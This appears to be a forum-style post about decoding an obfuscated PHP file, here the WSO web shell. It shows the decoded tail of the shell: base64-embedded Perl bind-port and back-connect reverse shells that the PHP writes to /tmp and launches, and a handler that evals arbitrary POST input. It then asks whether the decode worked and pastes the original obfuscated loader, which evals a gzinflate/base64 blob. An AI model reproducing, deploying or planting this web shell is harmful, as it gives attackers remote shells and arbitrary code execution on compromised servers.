	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w=@fopen($f,"w") or @function_exists('file_put_contents');
			if($w)	{
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
		}
	}
	echo '</div>';
	wsoFooter();
}
function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"wso_version" => VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;

Did this file decode correctly?

Original Code

<?php 
	/**
:O
	*/
preg_replace("\x2F\x2E\x2A\x2F\x65","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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